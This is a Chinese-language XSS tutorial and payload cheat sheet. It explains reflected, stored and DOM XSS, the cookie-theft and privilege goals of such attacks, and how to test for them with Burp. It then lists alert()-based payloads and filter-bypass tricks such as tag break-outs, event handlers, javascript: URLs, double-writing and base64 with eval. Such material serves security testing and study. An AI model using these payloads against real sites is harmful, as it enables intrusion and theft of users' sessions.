XSS漏洞介绍
跨站脚本XSS是一种针对网站应用程序的安全漏洞攻击技术。恶意攻击者往web页面插入恶意的Script代码,当用于浏览该页时,嵌入web中的恶意代码就会被执行,从而达到恶意攻击用户的目的。恶意用户利用XSS代码攻击成功后,可能会得到很高的权限,进而进行一些非法操作。
XSS攻击需要了解什么
1.获取管理员的cookie信息、篡改网页的链接
2.存储型XSS,将恶意代码存放在服务端,正常用户访问,恶意代码也会获取用户的cookie
检测测是否存在XSS的方法:将该语句发给服务器:,如果服务器端没有进行过滤,服务器就会返回给客户端,则服务器端存在XSS漏洞。主要就是看服务器端给客户端的响应。(使用burp抓包response)
3.发生位置:留言板、评论、搜索
4.分类:反射型XSS(需要发给客户,客户点击链接才会触发)、存储型XSS(危害严重)、Dom型(特殊的反射型,也需要客户点击链接才会触发)
5.改链接(用来引流),改cookie(用来提权)
XSS检测总结
常用XSS检测
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
直接检测
<script>alert('hi')</script>
<script>alert(document.domain)</script>
闭合<input>标签
"><script>alert(document.domain)</script>
"/><script>alert(document.domain)</script>
闭合选择框,burp抓包修改
</option><script>alert(document.domain)</script>
存在隐藏提交项,burp抓包修改
隐藏项目名"><script>alert(document.domain)</script>
隐藏项目名"><svg onload=alert(document.domain)>%0a
限制maxlength的数值
maxlength="1000000"
<script>被转义,使用html事件处理器
xss" onclick="alert(document.domain)"/>
xss" onmouseover="alert(document.domain)"/>
使用JavaScript伪协议
<a href="javascript:alert(document.domain)">
如果不想让链接执行<a href="javascript:void(0)">javascript:alert(document.domain)
双写绕过(或者多写)
"><script>alert(document.dodomainmain)</script>
"><script>alert(eval('document.do'+'main'))</script>
编码绕过
"><script>eval(atob('xxxx'))</script>
其中,xxx是alert(document.domain)的base64编码,atob的作用是把base64解码
伪协议绕过
"><a href="javascript:alert(document.domain)">xss</a>
"><iframe src="javascript:alert(document.domain)">xss</iframe>
空格绕过
"><a href="javascr ipt:alert(document.domain)">xss</a>"><a
IE浏览器特性绕过
``onclick=alert(document.domain)